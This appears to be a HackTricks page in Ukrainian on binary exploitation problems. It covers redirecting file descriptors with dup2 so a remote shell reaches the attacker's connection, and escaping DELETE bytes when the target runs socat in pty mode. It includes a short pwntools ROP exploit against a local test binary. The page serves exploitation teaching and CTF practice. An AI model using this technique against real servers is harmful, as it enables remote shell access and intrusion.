Common Exploiting Problems

Підтримайте HackTricks

FDs у віддаленій експлуатації

Коли ви надсилаєте експлойт на віддалений сервер, який викликає system('/bin/sh'), наприклад, це буде виконано в процесі сервера, і /bin/sh очікуватиме введення з stdin (FD: 0) і виведе результат у stdout та stderr (FDs 1 та 2). Отже, атакуючий не зможе взаємодіяти з оболонкою.

Спосіб вирішення цієї проблеми полягає в тому, щоб припустити, що коли сервер запустився, він створив FD номер 3 (для прослуховування), а потім ваше з'єднання буде в FD номер 4. Тому можливо використовувати системний виклик dup2, щоб дублювати stdin (FD 0) та stdout (FD 1) у FD 4 (той, що належить з'єднанню атакуючого), щоб це зробило можливим зв'язок з оболонкою після її виконання.

Приклад експлойту звідси:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Зверніть увагу, що socat вже передає stdin та stdout до сокета. Однак, режим pty включає символи DELETE. Тому, якщо ви надішлете \x7f ( DELETE -) це видалить попередній символ вашого експлойту.

Щоб обійти це, символ втечі \x16 повинен бути попереджений перед будь-яким \x7f, що надсилається.

Тут ви можете знайти приклад цієї поведінки.

Support HackTricks

Last updated